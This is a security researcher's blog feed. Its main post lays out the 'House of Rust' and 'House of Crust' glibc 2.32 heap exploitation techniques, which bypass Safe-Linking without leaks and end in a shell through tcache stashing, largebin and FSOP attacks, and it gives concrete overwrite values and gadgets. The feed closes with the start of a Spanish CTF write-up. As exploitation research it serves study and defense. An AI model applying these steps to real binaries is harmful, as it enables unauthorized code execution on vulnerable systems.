Jekyll2021-10-29T20:24:44-03:00c4ebt.github.io/feed.xmlc4e’s BlogCTF Writeups, especially pwn challenges.c4eBypassing GLIBC 2.32’s Safe-Linking Without Leaks into Code Execution: The House of Rust2021-01-22T00:00:00-03:002021-01-22T00:00:00-03:00c4ebt.github.io/2021/01/22/House-of-Rust<p>The House of Rust is a heap exploitation technique that drops a shell against full PIE binaries that don’t leak any addresses.</p>
<p>If you prefer to read this on Github, check out <a href="https://github.com/c4ebt/House-of-Rust">this repo</a>.</p>
<h3 id="breakdown">Breakdown</h3>
<p>The House of Rust leverages a UAF to perform a number of well-known attacks that when combined result in the bypass of single list Safe-Linking without the need for leaks. The weak point it targets to effectively bypass Safe-Linking is the tcache stashing mechanism.
It utilizes some Heap Feng Shui, one Tcache Stashing Unlink+ attack, one Tcache Stashing Unlink attack, two largebin attacks and finishes off with a FSOP attack on the stdout FILE stream.</p>
<h3 id="about-safe-linking">About Safe-Linking</h3>
<p>From the original <a href="https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/">CheckPoint Research post</a> on the creation of Safe Linking:</p>
<blockquote>
<p>Safe-Linking makes use of randomness from the Address Space Layout Randomization (ASLR), now heavily deployed in most modern operating systems, to “sign” the list’s pointers. When combined with chunk alignment integrity checks, this new technique protects the pointers from hijacking attempts.</p>
</blockquote>
<p>Safe-Linking XORs single list pointers with the 28 ASLR bits of the heap location of the pointer, making it impossible to corrupt successfully without a heap leak. Here’s their code implementation:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define PROTECT_PTR(pos, ptr, type) \
((type)((((size_t)pos) >> PAGE_SHIFT) ^ ((size_t)ptr)))
#define REVEAL_PTR(pos, ptr, type) \
PROTECT_PTR(pos, ptr, type)
</span></code></pre></div></div>
<p>Where <code class="language-plaintext highlighter-rouge">pos</code> is the position of the pointer in the heap, <code class="language-plaintext highlighter-rouge">PAGE_SHIFT</code> is 12 for 64-bit environments, and <code class="language-plaintext highlighter-rouge">ptr</code> is the original single list pointer.</p>
<h3 id="a-note-to-safe-linking-creators">A Note to Safe-Linking Creators</h3>
<p>Again, from the original <a href="https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/">CheckPoint Research post</a>:</p>
<blockquote>
<p>“Safe-Linking is not a magic bullet that will stop all exploit attempts against modern-day heap implementations. However, this is another step in the right direction. By forcing an attacker to have a pointer leak vulnerability before he can even start his heap-based exploit, we gradually raise the bar.”</p>
</blockquote>
<p>Mad respect for <a href="https://twitter.com/EyalItkin">Eyal Itkin</a> and all the people that participated in the creation and implementation of the Single List Pointer Mangling. In my opinion, it is one of the most effective security mitigations that GLIBC has implemented lately. Although “forcing an attacker to have a pointer leak vulnerability before he can even start his heap-based exploit” is now proven to not be 100% accurate :D.</p>
<h3 id="about-other-techniques">About Other Techniques</h3>
<p>At the time of publication I’m only aware of the existence of one other technique that claims to bypass Safe-Linking without leaks: The House of IO by <a href="https://twitter.com/Awarau1">@Awarau1</a>, which is described in <a href="https://awaraucom.wordpress.com/">his blog</a>. The House of IO targets the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> to gain control over unmangled <code class="language-plaintext highlighter-rouge">tcache_head</code> pointers. As mentioned in the blog post:</p>
<blockquote>
<p>The attack demands that the attacker has an underflow primitive, a use-after-free at a specific offset [+8] from the beginning of a struct, or a primitive which allows the attacker to place the tcache_perthread_struct on a tcache linked list. (…) Statistically speaking (at least from our experience), an underflow is by far less common than a plain overflow vulnerability. Additionally, to make the free() variants of this attack useful in the real world there are corner cases which need to be fulfilled – such as a UAF on a pointer field at an offset of 8 bytes within a struct, a badly ordered set of calls to free() on a struct, or through some other means by which to call free() on a pointer to the tcache_perthread_struct.</p>
</blockquote>
<p>In my opinion (and it looks like the author of the blog post agrees), the primitives required for the House of IO are too demanding and unrealistic.</p>
<p>The House of Rust implementation I will present in this post also uses the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>, but simply because it is the weakest useful spot after the implementation of Safe-Linking and therefore results in a cleaner exploit. The HoR primitives perfectly allow for a direct attack into libc’s stdout FILE stream without any need of touching the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. Such an attack would require one extra Tcache Stashin Unlink+ attack and one extra largebin attack, so I opted for a <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> approach. In that sense, the House of IO and the House of Rust are completely distinct, as their central targets are different mechanisms (<code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> and <code class="language-plaintext highlighter-rouge">tcache stashing mechanism</code> respectively).</p>
<p>Regardless of all this, kudos to @Awarau1 as well for developing a smart bypass very shortly after the new GLIBC version was released.</p>
<h3 id="variations-and-requirements">Variations and Requirements</h3>
<ul>
<li>
<p>The vanilla House of Rust technique requires good heap control where allocation pointers aren’t nulled, leading to UAF scenarios. It requires around 65 allocations with sizes of up to 0x1b00. The stdout FSOP technique used in the vanilla version requires that the binary isn’t line-buffered or fully-buffered.</p>
</li>
<li>
<p>House of Corrosion variation: The “House of Crust”. The House of Rust Safe-Linking bypass primitives can be leveraged into a way more complex variation leading to a House of Corrosion-like attack (hence the name “House of Crust”). This variation shares the same requirements as the vanilla HoR, except it needs a higher number of allocations and request sizes. The upside is that it doesn’t require the target binary to not be line-buffered or fully-buffered, since it relies completely on relative overwrites and doesn’t aim for the same stdout FSOP.</p>
</li>
</ul>
<p>Both the House of Rust and the House of Crust require a 1/16 libc load-address entropy bruteforce.</p>
<h3 id="previous-knowledge">Previous Knowledge</h3>
<p>As mentioned in the <a href="#breakdown">breakdown</a>, the House of Rust utilizes a number of other attacks to achieve its primitives. If you haven’t heard of them before or want to know how they work in detail I encourage you to do so before reading this post to get a better understanding of everything. Detailed explanations about these attacks can be found in the following links:</p>
<ul>
<li>Tcache Stashing Unlink and Tcache Stashing Unlink+ attacks: https://qianfei11.github.io/2020/05/05/Tcache-Stashing-Unlink-Attack/</li>
<li>Post 2.30 Largebin Attack: https://github.com/shellphish/how2heap/blob/master/glibc_2.31/large_bin_attack.c</li>
<li>Stdout Leak-Oriented FSOP: https://vigneshsrao.github.io/posts/babytcache/</li>
<li>House of Corrosion: https://github.com/CptGibbon/House-of-Corrosion/blob/master/README.md</li>
</ul>
<h2 id="house-of-rust">House of Rust</h2>
<h3 id="summary">Summary</h3>
<p>The House of Rust can be divided into 5 steps that are executed in the following order:</p>
<ul>
<li>
<ol>
<li>Heap Feng Shui</li>
</ol>
</li>
<li>
<ol>
<li>Tcache Stashing Unlink+ (TSU+) and Largebin attack</li>
</ol>
</li>
<li>
<ol>
<li>Tcache Stashing Unlink (TSU) and Largebin attack</li>
</ol>
</li>
<li>
<ol>
<li>stdout FSOP leak</li>
</ol>
</li>
<li>
<ol>
<li>Final shell</li>
</ol>
</li>
</ul>
<h3 id="stage-1-heap-feng-shui">Stage 1: Heap Feng Shui</h3>
<p>The sole purpose of this stage is to set up the heap for the other attacks. Thus, I will skip its explanation in this section and will reference it along the way. Keep in mind that it is very important to make all (or most) allocations in the beginning of the exploit, since allocating other chunks afterwards might get them served from unintended places such as forgotten smallbin chunks, or it could sort chunks from the unsortedbin into their respective bins when not intended.</p>
<h3 id="stage-2-tcache-stashing-unlink-and-largebin-attack">Stage 2: Tcache Stashing Unlink+ and Largebin Attack</h3>
<p>Start by allocating 14 0x90-sized chunks (this size is not strictly the only option but it is the one I recommend). 7 of these chunks will be later freed into their tcachebin, allowing the next 7 chunks to go to the unsortedbin and be immediately sorted into the 0x90 smallbin. Additionally, 5 more allocations are required for a largebin attack (3 fencepost, 0x20-sized chunks, 2 large chunks).</p>
<p>Before allocating the first 14 chunks, allocate 2 large chunks such that the second qword of data of the second chunk overlaps the size field of the 14th 0x90-sized chunk. Free both of these chunks, consolidating them with the top chunk and “resetting” the heap. Repeat this step such that the second qword of the second chunk overlaps the bk_nextsize field of the first large chunk. Again, free both chunks to “reset” the heap. The purpose of this is to be able to edit the 0x90-sized chunk size and the large chunk bk_nextsize through the UAF bug. These chunks will be called write-after-free (WAF) chunks. After setting the position of these 2 WAF chunks properly, allocate a 0x30 sized chunk to later free it to write its address to the respective <code class="language-plaintext highlighter-rouge">tcache_head</code> in the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>.</p>
<p>Free the first 14 chunks ascending in an interwoven manner to avoid consolidation, filling up the tcachebin and putting 7 chunks in the unsortedbin. Allocate a large chunk to sort the unsorted chunks into the 0x90 smallbin. Edit the first WAF chunk to change the 14th chunk size so it chains with the first large chunk (0xb0 size if the fencepost chunk is 0x20 sized). Using the UAF, free the 14th chunk a second time, putting it into the 0xb0 tcachebin and writing the <code class="language-plaintext highlighter-rouge">tcache_key</code> to the chunk’s second qword of data. Note that freeing this chunk into the tcachebin corrupts both the smallbin fd and bk. The <code class="language-plaintext highlighter-rouge">tcache_key</code> points to the beginnig of the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. Edit chunk 14 to modify its bk’s LSB, changing it to <code class="language-plaintext highlighter-rouge">"\x80"</code>. This points it higher up in the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>, more specifically to the 0x30 <code class="language-plaintext highlighter-rouge">&tcache_head - 0x18</code>. The presence of the 0x30 <code class="language-plaintext highlighter-rouge">tcache_head</code> is important to satisfy the need for a writable address in the TSU+ attack.</p>
<p>At this point, the 14th chunk is sorted into the smallbin and its bk is ready, pointing at the target location for the TSU+ attack. The issue is that the chunk’s fd is completely corrupted, and executing the TSU+ attack now would cause a crash. This is why Tcache Stashing Unlink attacks were thought to be completely leak-dependant (until now ;) ).</p>
<p>The corrupt fd pointer can be “fixed” with a largebin attack. Aim a largebin attack at the first qword of the 14th chunk. To do this first free the first large chunk and sort it into its largebin by requesting a larger chunk and then freeing it. Overwrite the LSB of its bk_nextsize using the second WAF chunk. This ends up corrupting its fd_nextsize, but it doesn’t matter. Make the bk_nextsize point to the address of the 14th chunk - 0x10. Then, free the second large chunk and request and free a larger chunk to sort it into the largebin. This results in the address of the second largebin being written to the 14th chunk’s fd.</p>
<p>Edit the second largebin chunk and modify its bk’s LSB to point it back to the 14th chunk. This closes the smallbin chain, and the TSU+ can be executed effectively without crashing or aborting.</p>
<p>Finally, trigger the TSU+ attack. To do this, empty up the tcachebin by allocating seven chunks from it, and then allocate one more chunk, which will be served from the smallbin, to start the stashing mechanism and execute the attack. This stage results in the 0x90 tcache head being pointed to the <code class="language-plaintext highlighter-rouge">0x080</code> offset from the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. At this point, the next 0x90 sized request will be served at the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>.</p>
<h3 id="stage-3-tcache-stashing-unlink-and-largebin-attack">Stage 3: Tcache Stashing Unlink and Largebin Attack</h3>
<p>As explained in the <a href="#stage-1-heap-feng-shui">first stage</a>, most of the allocations that are part of this stage actually have to be made at the beginning of the exploitation in the Heap Feng Shui stage, to avoid sorting or servicing chunks unintendedly.</p>
<p>The purpose of this stage is to write a libc value somewhere in the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> close to the final chunk allocated in the second stage. The pros of using a TSU attack instead of a TSU+ attack in this stage is that there is no need for a writable address to be present at the target+0x18.</p>
<p>Start by allocating 15 0xa0 sized chunks (again, this size is not strictly the only option but it is the one I recommend). In a similar fashion to the second stage, allocate 5 more chunks (3 0x20 sized, fencepost chunks and 2 large chunks). Note that the large chunks used in this stage must not belong to the same largebin as the ones used in the first stage. If the chunks used in the first stage belonged to the 0x400 largebin, use chunks that would go into the 0x480 largebin for this stage.</p>
<p>Similarly to the previous stage, allocate large chunks and free them to get WAF chunks to overwrite critical metadata later. The same metadata has to be overwritten: the 15th small chunk’s size, and the first large chunk’s bk_nextsize.</p>
<p>Again, like in the second stage, free the 15 chunks ascending in an interwoven manner to avoid consolidation, filling up the tcachebin and putting 7 chunks in the unsortedbin. Allocate a large chunk to sort the unsorted chunks into the 0xa0 smallbin. From here, this stage is exactly the same as the second stage, except the LSB that is overwritten over the <code class="language-plaintext highlighter-rouge">tcache_key</code> has to point up a little higher in the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> (there is some freedom here).</p>
<p>Executing the largebin attack and later the TSU attack achieves the goal of writing a libc address into the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> close to the final stage 2 chunk.</p>
<h3 id="stage-4-stdout-fsop-leak">Stage 4: stdout FSOP leak</h3>
<p>The goal of this stage is to get a libc leak through a stdout FSOP technique.</p>
<p>Start by editing the chunk over the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> to overwrite the 2 LSBs of the libc value written on the third stage to point it to the stdout FILE structure. This requires guessing 4 bits of libc load-address entropy. On a successful guess, a chunk can be allocated from the appropiate tcachebin overlapping with <code class="language-plaintext highlighter-rouge">_IO_2_1_stdout_</code>. From here, the FSOP technique to get a leak is fairly simple, and is described thoroughly in <a href="https://vigneshsrao.github.io/posts/babytcache/">this post</a> by sherl0ck.</p>
<p>To execute the technique, overwrite the <code class="language-plaintext highlighter-rouge">_IO_2_1_stdout_._flags</code> field with the value <code class="language-plaintext highlighter-rouge">0xfbad1800</code>. Null out the following 3 qwords, belonging to the fields <code class="language-plaintext highlighter-rouge">_IO_read_ptr</code>, <code class="language-plaintext highlighter-rouge">_IO_read_end</code> and <code class="language-plaintext highlighter-rouge">_IO_read_base</code>. Finally, null out the next qword’s LSB belonging to <code class="language-plaintext highlighter-rouge">_IO_write_base</code>. This produces a huge information leak the next time there is stdout activity <em>through the file stream</em>. Keep in mind that all these fields have to be overwritten at the same time, else unexpected behavior may occur.</p>
<h3 id="stage-5-final-shell">Stage 5: Final Shell</h3>
<p>Having a libc leak, the final stage of getting a shell is extremely simple.</p>
<p>Edit the chunk over the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> writing the value of <code class="language-plaintext highlighter-rouge">&__free_hook</code> over some <code class="language-plaintext highlighter-rouge">tcache_head</code>. Allocate a chunk from the appropiate tcachebin, and overwrite <code class="language-plaintext highlighter-rouge">__free_hook</code> with the address of <code class="language-plaintext highlighter-rouge">system</code>.</p>
<p>Finally, edit a chunk in the heap putting the string <code class="language-plaintext highlighter-rouge">"/bin/sh\x00"</code> in its first qword and then free it. This results in a call to <code class="language-plaintext highlighter-rouge">system("/bin/sh\x00")</code>, dropping a shell.</p>
<h2 id="house-of-crust">House of Crust</h2>
<p>The House of Crust utilizes the House of Rust primitives to leverage a House of Corrosion-like attack and drop a shell on completely leakless (yes, no stdout FSOP for leak) PIE binaries.</p>
<h3 id="disclaimer">Disclaimer</h3>
<p>The House of Crust transplanting primitives can be achieved in a GLIBC build-independent basis, but the final FSOP attack heavily depends on the GLIBC build. As there is still no official or universally accepted GLIBC version 2.32 build for most systems, I had to build my own from source. I experimented and built 6 different libcs (from 2 different sources in 3 different systems), and the final FSOP attack I use in this demonstration was only possible on this build due to system characteristics and optimization flags. The final stage exploits a <a href="https://sourceware.org/pipermail/glibc-bugs/2020-April/047686.html">bug</a> where the FILE stream vtables (more specifically the <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps</code>) are mapped into a writable memory segment. Additionally, one of the gadgets I use in the final stage to get a shell was only present in this build and could only be utilized in one way. I encourage the readers to attempt to leverage the House of Crust primitives to bypass libio vtable hardening <a href="https://github.com/CptGibbon/House-of-Corrosion/blob/master/README.md#disabling-libio-vtable-protection">as described by the original House of Corrosion author</a>.</p>
<h3 id="difficulties-and-differences">Difficulties and Differences</h3>
<p>Building an application of the House of Corrosion for GLIBC 2.32 has a couple of extra difficulties and differences from the techniques described by the author in the original post for GLIBC 2.29.</p>
<p>In first place, doing a tcache dup to overwrite <code class="language-plaintext highlighter-rouge">global_max_fast</code> is no longer possible because of Safe-Linking. The House of Crust uses House of Rust primitives to achieve this.</p>
<p>In second place, tampering with House of Corrosion transplant data in-flight is no longer possible because the transplants correspond to fastbin allocations, which also are subject to Safe-Linking. This means that when the data we are transplanting is in the heap it is also subject to pointer mangling, making it impossible for us to tamper with it in-flight <em>in the heap</em>. To be able to modify it, we can use House of Rust primitives to get a chunk over libc and use it as a “tampering zone”. This means that for each transplant with data tampering that we have to do, we can first transplant the data to this “tampering zone”, then edit the chunk to tamper with the un-mangled data, and then transplant again from the “tampering zone” to the destination location.</p>
<p>Finally, and as mentioned in the disclaimer, FSOP attacks in this context are heavily GLIBC build dependent, so that is another difference from the original post to the House of Crust technique.</p>
<h3 id="summary-1">Summary</h3>
<p>The House of Crust starts off in a very similar way to the House of Rust. It then moves away from an impossible stdout FSOP libc leak (because of stdout line-buffering and full-buffering) and aims for a transplanting+tampering primitive just as the original House of Corrosion (but implemented in a different way). The following is a complete outline of the technique:</p>
<ul>
<li>
<ol>
<li>Heap Feng Shui</li>
</ol>
</li>
<li>
<ol>
<li>Tcache Stashing Unlink+ (TSU+) and Largebin Attack</li>
</ol>
</li>
<li>
<ol>
<li>Second Tcache Stashing Unlink+ (TSU+) and Largebin Attack</li>
</ol>
</li>
<li>
<ol>
<li><code class="language-plaintext highlighter-rouge">global_max_fast</code> corruption into House of Corrosion-like transplanting+tampering primitive.</li>
</ol>
</li>
<li>
<ol>
<li>stderr FSOP attack.</li>
</ol>
</li>
</ul>
<h3 id="stage-1-heap-feng-shui-1">Stage 1: Heap Feng Shui</h3>
<p>Just like with the House of Rust, this step will be explained along the way</p>
<h3 id="stage-2-tcache-stashing-unlink-and-largebin-attack-1">Stage 2: Tcache Stashing Unlink+ and Largebin Attack</h3>
<p>This stage is exactly the same as in the House of Rust</p>
<h3 id="stage-3-second-tcache-stashing-unlink-and-largebin-attack">Stage 3: Second Tcache Stashing Unlink+ and Largebin Attack</h3>
<p>This stage utilizes a TSU+ attack instead of the TSU attack used in the HoR stage 3. This is due to the need of 2 libc addresses being written to the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> instead of one (this will be explained later on). To execute a TSU+ instead of a TSU, the same as in the HoR stage 3 can be followed except a number of 14 chunks has to be allocated instead of 15. It is also needed to ensure that there is a writable address at <code class="language-plaintext highlighter-rouge">&target_address + 0x18</code> for the TSU+ attack to not crash. This can be achieved by allocating a chunk of a size such that when freed its <code class="language-plaintext highlighter-rouge">tcache_head</code> acts as this writable address. After triggering the stashing mechanism, the <code class="language-plaintext highlighter-rouge">tcache_head</code> of the utilized tcachebin points to the middle of the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. Allocate a chunk to get a request pointer in this area.</p>
<p>The goal of this stage is to write 2 libc addresses to the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code>. To do this, edit the first chunk in the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> to forge a fake large chunk size (0x500 recommended) for the chunk allocated from the previous step of this stage such that it chains with another (can be fake) chunk higher up in the heap (to pass unsortedbin nextsize checks). The large size has to be large enough to be sorted into an empty largebin (hence my 0x500 recomendation). Free the chunk, sending it to the unsortedbin, and request a larger allocation and then free it to sort the chunk into its largebin. This writes 2 libc addresses to the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> (largebin fd and bk).</p>
<p>This step has to be executed through largebin metadata because leaving the unsortedbin pointing to the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> would cause an <code class="language-plaintext highlighter-rouge">abort()</code> larter in the exploit.</p>
<h3 id="stage-4-global_max_fast-corruption-into-house-of-corrosion-like-transplantingtampering-primitive">Stage 4: <code class="language-plaintext highlighter-rouge">global_max_fast</code> corruption into House of Corrosion-like transplanting+tampering primitive.</h3>
<p>This stage starts having similarities with the House of Corrosion.</p>
<p>Start off by editing the chunk over the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> to overwrite the 2 LSBs of the large chunk’s fd so it points to <code class="language-plaintext highlighter-rouge">global_max_fast-0x18</code>. This requires guessing 4 bits of libc load-address entropy. Next, allocate from the tcachebin corresponding to the <code class="language-plaintext highlighter-rouge">tcache_head</code> overwritten with the largebin fd. This gets a chunk at the <code class="language-plaintext highlighter-rouge">global_max_fast</code> variable. Immediately after getting this chunk, edit it to overwrite the <code class="language-plaintext highlighter-rouge">global_max_fast</code> variable with a large value (0x10000+ or whatever you want). The first goal of this stage is achieved at this point.</p>
<p>For the next step, start by editing the chunk over the <code class="language-plaintext highlighter-rouge">tcache_perthread_struct</code> to overwrite the 2 LSBs of the large chunk’s bk so it points to a symbol-less, nulled out qword in libc (in my build <code class="language-plaintext highlighter-rouge">&main_arena+2256</code> works for this). Allocate from the appropiate tcachebin to get a chunk over this region. This chunk will be used as the “tampering zone” explained in the <a href="#difficulties-and-differences">difficulties and differences section</a>.</p>
<p>With <code class="language-plaintext highlighter-rouge">global_max_fast</code> corrupted and the tampering zone chunk set, the first step of this stage is completed. The next step is to get a transplanting primitive just like in the House of Corrosion. Because this step is exactly the same as the original post, I will not describe it in much detail. For more information about it, refer to the original <a href="https://github.com/CptGibbon/House-of-Corrosion/blob/master/README.md#stage-1-heap-feng-shui">House of Corrosion post</a>.</p>
<p>Allocate a <strong>very large</strong> chunk (<em>~0x4000 sized</em>) with data to act as “safe values” for fastbin allocations (in a <code class="language-plaintext highlighter-rouge">p64(0) + p64(0x21) + p64(0) + p64(0x31)</code> fashion). Allocate one last chunk (the size doesn’t matter) after the largebin chunks used for the second largebin attack. This chunk will be the one used for the transplant primitive, and we will need to change its size. This requires setting up a fake chunk in the Heap Feng Shui stage so that it can be used to modify the chunk’s size field.</p>
<p>This field will be edited multiple times, and the sizes written to it for transplants are calculated in the following way (from the original post <a href="https://github.com/CptGibbon/House-of-Corrosion/blob/master/README.md#primitive-one">primitive one</a>):</p>
<blockquote>
<p>Use the formula: chunk size = (delta * 2) + 0x20 to calculate the size of a chunk needed to overwrite a target with its address when freed, where delta is the distance between the first fastbin and the target in bytes.</p>
</blockquote>
<p>To execute a transplant, edit the size to the one corresponding to the destination address. In the case of the House of Crust, for each transplant the first destination address will be the tamper zone address. After editing the size, free the chunk. Then, edit the size again to the one corresponding to the source address. Once again, free the chunk. Edit the size back to the tamperzone size and request an allocation that would be serviced from the corresponding size. Finally, change the size back to the one corresponding to the source address and request an allocation that would be serviced from its corresponding size. This achieves a transplant from the source address into the tamperzone.</p>
<p>Now, the target data is in the tamperzone. Edit the tamperzone chunk to overwrite the wanted data. After editing, the tamperzone can be used as a source address to make one more, final transplant into the destination address following the same steps explained above. With a stable transplant+tamper primitive achieved, the stage 4 is completed.</p>
<h3 id="stage-5-stderr-fsop-attack">Stage 5: stderr FSOP attack</h3>
<p>The final stage of the House of Crust requires executing 3 transplants and then triggering stderr activity. Keep in mind that this FSOP attack is GLIBC build dependent, and the gadgets present in my build might not be present in others.</p>
<p>The FSOP attack I will present overwrites an entry of the <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps</code> vtable, which shouldn’t be mapped writable in an optimal situation but many libc builds present this bug.</p>
<p>The goal for this stage will be to execute the follwing <code class="language-plaintext highlighter-rouge">one_gadget</code> (keep in mind that this is GLIBC build-specific):</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0xc8baa execve("/bin/sh", r12, r13)
constraints:
[r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
</code></pre></div></div>
<h4 id="__gi__io_file_jumps__overflow"><code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps.__overflow</code></h4>
<p>The first transplant will target the <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps.__overflow</code> field. The source for this transplant will be the <code class="language-plaintext highlighter-rouge">DW.ref.__gcc_personality_</code> symbol, that contains a libc code address. Tamper with its 2 LSBs to make it point to <code class="language-plaintext highlighter-rouge">&_nl_intern_locale_data+213</code>. As the 4th nibble of libc load address entropy was already guessed in the previous stage, this doesn’t require any bruteforcing. In one of my GLIBC builds, the gadget at this address was the following:</p>
<pre><code class="language-asm"> mov r12, r13
movsxd rcx, DWORD PTR [rdx+r11*4]
add rcx, rdx
jmp rcx
</code></pre>
<p>When we trigger stderr activity in the final step, the <code class="language-plaintext highlighter-rouge">__overflow</code> entry of <code class="language-plaintext highlighter-rouge">_IO_2_1_stderr_.vtable</code> (which points to <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps</code>) will be called and the gadget will be executed. The other 2 transplants have the goal of satisfying conditions to make the use of this gadget profitable. In my experiments, the <code class="language-plaintext highlighter-rouge">__overflow</code> field was the only member of the vtable that provided sufficient conditions to make the gadget use profitable.</p>
<h4 id="_io_helper_jumps"><code class="language-plaintext highlighter-rouge">_IO_helper_jumps</code></h4>
<p>This field ends up being <code class="language-plaintext highlighter-rouge">rdx</code> when the gadget gets executed. When <code class="language-plaintext highlighter-rouge">__overflow</code> is called, <code class="language-plaintext highlighter-rouge">r11</code> is 0, so what will end up being moved to rcx is whatever is in <code class="language-plaintext highlighter-rouge">[rdx]</code>. After that, <code class="language-plaintext highlighter-rouge">rdx</code> will be added to <code class="language-plaintext highlighter-rouge">rcx</code> and then the jump to <code class="language-plaintext highlighter-rouge">rcx</code> will be executed. How can we manage to control this jump? After the addition, we want to have <code class="language-plaintext highlighter-rouge">rcx</code> pointed to our <code class="language-plaintext highlighter-rouge">one_gadget</code>. We can control one of the operands in the addition (<code class="language-plaintext highlighter-rouge">rcx</code>), and the other one is a libc address <code class="language-plaintext highlighter-rouge">&_IO_helper_jumps</code>. This means that we can have a relative negative value in rcx such that when we add the value of the address of <code class="language-plaintext highlighter-rouge">_IO_helper_jumps</code> it points to the <code class="language-plaintext highlighter-rouge">one_gadget</code>. In my case, the value of <code class="language-plaintext highlighter-rouge">rdx</code> was at an offset of <code class="language-plaintext highlighter-rouge">0x1b98c0</code> from the libc base, so the negative relative value I had to use was <code class="language-plaintext highlighter-rouge">0xfffffffffff0f2ea</code> (<code class="language-plaintext highlighter-rouge">(0xfffffffffff0f2ea + 0x1b98c0) & 0xffffffffffffffff = 0xc8baa</code>). Transplant from whatever source and tamper the entire qword changing it to <code class="language-plaintext highlighter-rouge">0xfffffffffff0f2ea</code> and then move it to <code class="language-plaintext highlighter-rouge">&_IO_helper_jumps</code>.</p>
<h4 id="__gi__io_file_jumps"><code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps</code></h4>
<p>Finally, the <code class="language-plaintext highlighter-rouge">one_gadget</code> I chose has the following constraints that have to be satisfied:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> [r12] == NULL || r12 == NULL
[r13] == NULL || r13 == NULL
</code></pre></div></div>
<p>When <code class="language-plaintext highlighter-rouge">__overflow</code> is called, <code class="language-plaintext highlighter-rouge">r12</code> is a stack value and <code class="language-plaintext highlighter-rouge">r13</code> is <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps</code>. At the beginning of the gadget, a <code class="language-plaintext highlighter-rouge">mov r12, r13</code> is executed, setting both of them to <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps</code>. The gadget requires that both <code class="language-plaintext highlighter-rouge">r12</code> and <code class="language-plaintext highlighter-rouge">r13</code> are null, or that the contents of both of them are null. We will go for the latter. Transplant a null qword to <code class="language-plaintext highlighter-rouge">&__GI__IO_file_jumps</code> to complete all the necessary steps before triggering stderr activity and finishing the FSOP attack.</p>
<h4 id="triggering-stderr-activity">Triggering stderr activity</h4>
<p>To finally trigger stderr activity and make the jump to our gadget the House of Crust goes for the same method as the House of Corrosion but implements it in a slightly different way.</p>
<p>Edit the chunk over the <code class="language-plaintext highlighter-rouge">global_max_fast</code> variable to change its value back to the normal <code class="language-plaintext highlighter-rouge">0x80</code>. In the Heap Feng Shui stage, allocate one last large chunk (its size has to belong to the same largebin as the chunks used in the third stage of the House of Crust) right before the chunk used for the transplants, and arrange a fake chunk that will be used to tamper with the size field of the first largebin chunk used for the second largebin attack in the third stage of the House of Crust. Edit the fake chunk to set the <code class="language-plaintext highlighter-rouge">NON_MAIN_ARENA</code> bit in the largebin chunk size field. Finally, free the last large chunk, sending it into the unsortedbin, and make a larger allocation to try to sort it into its largebin. When trying to sort a chunk into a largebin with a chunk that has the <code class="language-plaintext highlighter-rouge">NON_MAIN_ARENA</code> bit set, malloc triggers stderr activity right before attempting to abort. This results in <code class="language-plaintext highlighter-rouge">__GI__IO_file_jumps.__overflow</code> being called, which in turn jumps to our gadget consecuentially calling the <code class="language-plaintext highlighter-rouge">one_gadget</code> and dropping a shell.</p>
<h2 id="final-thoughts">Final Thoughts</h2>
<p>I really enjoyed all the learning, practicing and researching I went through while building the House of Rust and House of Crust techniques. I would love to discuss these techniques further and will welcome all feedback, so feel free to contact me through Discord <code class="language-plaintext highlighter-rouge">c4e#8859</code> or Twitter <code class="language-plaintext highlighter-rouge">@c4ebt</code>.</p>
<p>Special thanks to my friend and teammate <a href="https://www.willsroot.io/">FizzBuzz101</a> for proofreading this post and helping me get here.</p>c4eThe House of Rust is a heap exploitation technique that drops a shell against full PIE binaries that don't leak any addresses.Q4CTF 2020 Heap Writeups2020-10-05T00:00:00-03:002020-10-05T00:00:00-03:00c4ebt.github.io/2020/10/05/Q4CTF-Heap-Writeups<p>Soluciones a los problemas de heap del CTF de Q4 del 2020.</p>
<ol>
<li><a href="/2020/10/05/Q4CTF-Heap-Writeups.html#wallet">Wallet</a></li>
<li><a href="/2020/10/05/Q4CTF-Heap-Writeups.html#mision">Mision</a></li>
<li><a href="/2020/10/05/Q4CTF-Heap-Writeups.html#motoko">Motoko</a></li>
<li><a href="/2020/10/05/Q4CTF-Heap-Writeups.html#420">420</a></li>
</ol>
<h1 id="wallet">Wallet</h1>
<p>Wallet no era un reto de heap tradicional, pero lo inclui en esta categoria de writeup ya que de todas formas tenia que ver con algunos temas de heap.</p>
<p>Pueden descargar el binario <a href="/content/q42020/wallet/wallet">aqui</a>.</p>
